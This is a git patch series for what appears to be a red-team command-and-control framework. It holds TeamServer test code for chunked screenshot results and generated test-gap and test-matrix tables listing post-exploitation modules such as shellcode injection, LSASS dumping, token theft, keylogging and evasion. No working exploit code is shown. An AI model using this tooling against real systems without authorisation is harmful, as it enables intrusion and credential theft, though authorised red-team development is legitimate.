a/teamServer/teamServer/TeamServerListenerSessionService.cpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.cpp @@ -973,6 +973,12 @@ int TeamServerListenerSessionService::handleCmdResponse() if (trackedCommand) applyModuleResult(beaconHash, listenerHash, commandId, responseInstruction, errorMsg.empty()); + if (keepCommandContext) + { + c2Message = m_listeners[i]->getTaskResult(beaconHash); + continue; + } + teamserverapi::CommandResult commandResponseTmp; commandResponseTmp.set_status(errorMsg.empty() ? teamserverapi::OK : teamserverapi::KO); commandResponseTmp.mutable_session()->set_beacon_hash(beaconHash); diff --git a/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp b/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp index 7ccf120..78766c5 100644 --- a/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp +++ b/teamServer/teamServer/TeamServerScriptCommandPreparer.cpp @@ -147,7 +147,7 @@ TeamServerCommandPreparerResult TeamServerScriptCommandPreparer::preparePowershe { payload = "Invoke-Command -ScriptBlock {\n"; payload += artifact.bytes; - payload += "};"; + payload += "\n};"; } c2Message.set_instruction("powershell"); diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index d29fac3..f92152d 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -942,7 +942,7 @@ void testPreparePwShUsesFixedRunnerAndScriptArtifacts() { ScopedPath tempRoot(makeTempDirectory("pwsh-preparer")); TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); - writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "rdm.dll", "RUNNER"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / "rdm.dll", "RUNNER"); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "PowerView.ps1", "function Invoke-PowerView {}\n"); CommonCommands commonCommands; diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index 4420737..45fdd50 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -1,16 +1,48 @@ #include +#include +#include +#include #include #include #include #include +#include #include +#include #include +#include "TeamServerFileArtifactService.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerListenerSessionService.hpp" +namespace fs = std::filesystem; + namespace { +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + class TestListener final : public Listener { public: @@ -51,6 +83,28 @@ std::multimap makeMetadata(std::string& clie return metadata; } +fs::path makeTempDirectory(const std::string& name) +{ + fs::path root = fs::temp_directory_path() / ("c2teamserver-listener-session-" + name + "-" + std::to_string(::getpid())); + fs::create_directories(root); + return root; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string() + "/"; + runtimeConfig.defaultWindowsArch = "x64"; + runtimeConfig.defaultLinuxArch = "x64"; + return runtimeConfig; +} + +std::string readFile(const fs::path& path) +{ + std::ifstream input(path, std::ios::binary); + return std::string(std::istreambuf_iterator(input), {}); +} + void testCollectListenersAndSessions() { nlohmann::json config = { @@ -366,6 +420,112 @@ void testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules() .ok()); assert(modules.empty()); } + +void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() +{ + nlohmann::json config = {{"LogLevel", "off"}}; + auto logger = makeLogger(); + + std::vector> listeners; + auto primaryListener = std::make_shared("127.0.0.1", "8443", ListenerHttpsType, "listener-primary"); + primaryListener->addSession("listener-primary", "ABCDEFGH12345678", "host", "user", "x64", "admin", "Windows"); + listeners.push_back(primaryListener); + + ScopedPath tempRoot(makeTempDirectory("pending-artifact")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + logger, + runtimeConfig, + artifactStore); + + std::vector> moduleCmd; + CommonCommands commonCommands; + std::vector cmdResponses; + std::unordered_map> sentResponses; + std::vector sentCommands; + + std::string preparedOutputFile; + TeamServerListenerSessionService service( + logger, + config, + listeners, + moduleCmd, + commonCommands, + cmdResponses, + sentResponses, + sentCommands, + fileArtifactService, + [&](const std::string& input, C2Message& c2Message, bool, const std::string&) + { + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = input; + spec.nameHint = "desktop.bmp"; + spec.category = "screenshot"; + spec.source = "beacon"; + spec.target = "teamserver"; + spec.runtime = "file"; + spec.format = "bmp"; + spec.isWindows = true; + spec.arch = "x64"; + spec.writeResultData = true; + const TeamServerPreparedDownloadArtifact artifact = fileArtifactService->prepareGeneratedFileArtifact(spec); + assert(artifact.ok); + + preparedOutputFile = artifact.path; + c2Message.set_instruction("screenShot"); + c2Message.set_outputfile(artifact.path); + c2Message.set_cmd(input); + return 0; + }); + + teamserverapi::SessionCommandRequest command; + command.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); + command.mutable_session()->set_listener_hash("listener-primary"); + command.set_command("screenShot desktop.bmp"); + command.set_command_id("shot-0001"); + + teamserverapi::CommandAck response; + assert(service.sendSessionCommand(command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(!preparedOutputFile.empty()); + + C2Message queuedTask = primaryListener->getTask("ABCDEFGH12345678"); + assert(queuedTask.instruction() == "screenShot"); + assert(queuedTask.uuid() == "shot-0001"); + + C2Message firstChunk; + firstChunk.set_instruction("screenShot"); + firstChunk.set_uuid("shot-0001"); + firstChunk.set_outputfile(preparedOutputFile); + firstChunk.set_args("0"); + firstChunk.set_data("AA"); + firstChunk.set_returnvalue("2/4"); + assert(primaryListener->addTaskResult(firstChunk, "ABCDEFGH12345678")); + service.handleCmdResponse(); + assert(cmdResponses.empty()); + assert(sentCommands.size() == 1); + assert(readFile(preparedOutputFile) == "AA"); + + C2Message finalChunk; + finalChunk.set_instruction("screenShot"); + finalChunk.set_uuid("shot-0001"); + finalChunk.set_outputfile(preparedOutputFile); + finalChunk.set_args("1"); + finalChunk.set_data("BB"); + finalChunk.set_returnvalue("Success"); + assert(primaryListener->addTaskResult(finalChunk, "ABCDEFGH12345678")); + service.handleCmdResponse(); + + assert(sentCommands.empty()); + assert(cmdResponses.size() == 1); + assert(cmdResponses[0].command_id() == "shot-0001"); + assert(cmdResponses[0].command() == "screenShot desktop.bmp"); + assert(cmdResponses[0].output().find("Generated artifact stored:") != std::string::npos); + assert(readFile(preparedOutputFile) == "AABB"); + assert(fs::exists(preparedOutputFile + ".artifact.json")); + assert(!fs::exists(preparedOutputFile + ".artifact.pending.json")); +} } // namespace int main() @@ -373,5 +533,6 @@ int main() testCollectListenersAndSessions(); testQueueStopAndResponseDeduplication(); testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules(); + testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses(); return 0; } From 735b4043910a09a2f004d25ce01e118ecb0af040 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 7 May 2026 11:08:35 +0200 Subject: [PATCH 48/82] Prep tests --- docs/TEST_GAPS.md | 119 +++ docs/TEST_MATRIX.md | 119 +++ docs/TEST_STATE.md | 84 ++ docs/testing/manual-results.yaml | 19 + docs/testing/test-catalog.yaml | 1283 ++++++++++++++++++++++++++++++ scripts/generate-test-state.py | 327 ++++++++ 6 files changed, 1951 insertions(+) create mode 100644 docs/TEST_GAPS.md create mode 100644 docs/TEST_MATRIX.md create mode 100644 docs/TEST_STATE.md create mode 100644 docs/testing/manual-results.yaml create mode 100644 docs/testing/test-catalog.yaml create mode 100644 scripts/generate-test-state.py diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md new file mode 100644 index 0000000..f6f3a8b --- /dev/null +++ b/docs/TEST_GAPS.md @@ -0,0 +1,119 @@ +# Test Gaps + +_Generated by `scripts/generate-test-state.py`._ + +| Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | +|---|---|---|---|---|---|---|---| +| untested | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars. | untested | untested | +| untested | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | untested | untested | +| untested | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | untested | untested | +| untested | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | untested | untested | +| untested | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | Update last seen, stale state, listener proof of life, and reconnect behavior. | untested | untested | +| untested | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | loadModule, unloadModule, listModule, duplicate-load rejection, and module count tracking. | untested | untested | +| untested | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | Register hostname, username, OS, arch, privilege, process id, internal IPs, and additional information. | untested | untested | +| untested | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | Receive tasks, execute common commands/modules, return command IDs, and preserve command context. | untested | untested | +| untested | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | List CommandSpecs, Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted artifacts, beacons, and modules with category filters. | untested | untested | +| untested | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | Load .env values and environment overrides with documented precedence. | untested | n/a | +| untested | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | untested | untested | +| untested | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | Expose TeamServer RPC fields used by sessions, listeners, artifacts, commands, and hooks. | untested | n/a | +| untested | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | untested | untested | +| untested | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | Host an artifact reference through GeneratedArtifacts/hosted instead of arbitrary legacy file paths. | untested | untested | +| untested | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | untested | untested | +| untested | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | Autocomplete unloaded modules, resolve module artifacts by OS/arch, and reject duplicates. | untested | untested | +| untested | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | Autocomplete loaded modules and unload selected module. | untested | untested | +| untested | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | Start listener, register beacon, exchange tasks/results, host artifacts, and stop listener. | untested | untested | +| untested | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | untested | untested | +| untested | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | Every user-facing module command has a CommandSpec JSON and matching C2Client schema where applicable. | untested | n/a | +| untested | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar. | untested | untested | +| untested | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon. | untested | untested | +| untested | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell. | untested | untested | +| untested | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands. | untested | untested | +| untested | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | Upload an UploadedArtifact to a remote path with server-controlled input resolution. | untested | untested | +| untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | +| untested | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | untested | +| untested | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | untested | untested | +| untested | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | List CommandSpecs from core modules and common commands with help and argument metadata. | untested | n/a | +| untested | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | Prepare common commands, module commands, artifact-backed commands, shellcode-backed commands, and rejected commands. | untested | n/a | +| untested | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | untested | untested | +| untested | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | untested | untested | +| untested | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | Register generated artifacts with sidecars, hash, size, source, format, and category. | untested | n/a | +| untested | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | untested | untested | +| untested | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | untested | untested | +| untested | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | untested | untested | +| untested | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | End-to-end Linux x64 HTTPS validation: connect, run commands, upload/download, script, and module lifecycle. | n/a | untested | +| untested | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact. | n/a | untested | +| untested | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands. | untested | untested | +| untested | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | Resolve operator-uploaded payloads by category, platform, arch, and Any/any fallback. | untested | untested | +| untested | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete generated and hosted artifacts using artifact IDs, not legacy terminal paths. | untested | untested | +| untested | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | Download selected artifacts from TeamServer to the client filesystem. | untested | untested | +| untested | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | Upload operator files into UploadedArtifacts with selected platform and arch. | untested | untested | +| untested | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | untested | untested | +| untested | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | untested | untested | +| untested | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | untested | untested | +| untested | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | untested | untested | +| untested | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | untested | untested | +| untested | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context. | untested | untested | +| untested | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | untested | untested | +| untested | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | Generate and host droppers with selected beacon arch and shellcode generator. | untested | untested | +| untested | high | `COMMON-END-001` | CommonCommands | end | Stop a beacon session cleanly. | untested | untested | +| untested | high | `COMMON-LISTENER-001` | CommonCommands | listener | Start and stop child listeners from a beacon using validated listener parameters. | untested | untested | +| untested | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | List loaded modules by name and state in the beacon console. | untested | untested | +| untested | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | untested | untested | +| untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | +| untested | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | untested | +| untested | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | untested | +| untested | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | untested | untested | +| untested | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | untested | untested | +| untested | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts. | untested | untested | +| untested | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | untested | untested | +| untested | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | untested | untested | +| untested | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | untested | untested | +| untested | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | untested | untested | +| untested | high | `MODULE-RUN-CONTRACT-001` | Modules | run | Run local process commands with stdout/stderr capture and startup failure handling. | untested | untested | +| untested | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result. | untested | untested | +| untested | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution. | untested | untested | +| untested | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | Execute shell commands with stdout/stderr capture and startup failure handling. | untested | untested | +| untested | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling. | untested | untested | +| untested | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run. | untested | untested | +| untested | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | untested | untested | +| untested | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | Validate makeToken, stealToken, rev2self, spawnAs, and related error handling. | untested | untested | +| untested | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | Host artifacts under GeneratedArtifacts/hosted and list/delete them through artifact services. | untested | untested | +| untested | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | untested | untested | +| untested | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | untested | untested | +| untested | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | untested | untested | +| untested | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | Render separated nodes by default, zoom in/out controls, and no redundant title frame. | untested | untested | +| untested | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | untested | untested | +| untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | +| untested | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | untested | +| untested | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | Read a remote file and report readable errors for missing paths. | untested | untested | +| untested | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | Change current working directory and reject invalid paths clearly. | untested | untested | +| untested | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | untested | untested | +| untested | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | untested | untested | +| untested | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | Enumerate RDP sessions with readable output and safe error handling. | untested | untested | +| untested | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | Enumerate network shares with readable output and safe error handling. | untested | untested | +| untested | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | Run supported evasion actions and report unsupported or failed actions clearly. | untested | untested | +| untested | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | Return environment variables or a selected variable with clear missing-value handling. | untested | untested | +| untested | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | Return interface/network information without truncating important data. | untested | untested | +| untested | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | Start/stop keylogger and collect key output safely. | untested | untested | +| untested | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | Kill a safe dummy process and reject invalid PID values clearly. | untested | untested | +| untested | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | List remote directory contents with stable formatting and path error handling. | untested | untested | +| untested | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | Create a logon token from credentials and report authentication failures clearly. | untested | untested | +| untested | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | Create remote directories and report existing/invalid path failures. | untested | untested | +| untested | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | Return network connection/listening information in a readable format. | untested | untested | +| untested | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | List processes with PID/name metadata and no console formatting breakage. | untested | untested | +| untested | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | Return current working directory once, without duplicate console output. | untested | untested | +| untested | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | Read/query registry keys and handle missing keys or malformed packed commands safely. | untested | untested | +| untested | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | Remove remote files/directories and report safe errors for missing paths. | untested | untested | +| untested | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | Revert impersonation back to the original token. | untested | untested | +| untested | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | Spawn a process as supplied credentials and handle invalid packed parameters. | untested | untested | +| untested | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | untested | untested | +| untested | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | Impersonate token from a safe process and report invalid PID/access errors clearly. | untested | untested | +| untested | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | Create/query/delete a scheduled task and validate parameter errors. | untested | untested | +| untested | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | Render recursive directory tree output without breaking console formatting. | untested | untested | +| untested | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | Return current user identity with clear output. | untested | untested | +| untested | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | Validate registry, taskScheduler, evasion, enumerateShares, and enumerateRdpSessions. | untested | untested | +| untested | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | untested | untested | +| untested | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | untested | untested | +| untested | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | untested | untested | +| planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | +| planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md new file mode 100644 index 0000000..2979ad8 --- /dev/null +++ b/docs/TEST_MATRIX.md @@ -0,0 +1,119 @@ +# Test Matrix + +_Generated by `scripts/generate-test-state.py`._ + +| Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual | +|---|---|---|---|---|---|---|---|---|---|---|---| +| untested | auto+manual | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | teamserver | any | n/a | generated | untested | untested | +| untested | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | untested | untested | +| untested | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | untested | untested | +| untested | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | untested | untested | +| untested | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | untested | untested | +| untested | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | untested | untested | +| untested | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | untested | untested | +| untested | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | untested | untested | +| untested | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | untested | untested | +| untested | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | untested | untested | +| untested | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | untested | untested | +| untested | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | untested | untested | +| untested | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | untested | untested | +| untested | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | untested | untested | +| untested | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | untested | untested | +| untested | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | untested | untested | +| untested | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | untested | n/a | +| untested | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | untested | untested | +| planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | +| untested | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | untested | untested | +| untested | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | untested | untested | +| untested | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | untested | untested | +| untested | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | untested | untested | +| untested | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | untested | untested | +| untested | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | untested | untested | +| untested | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | 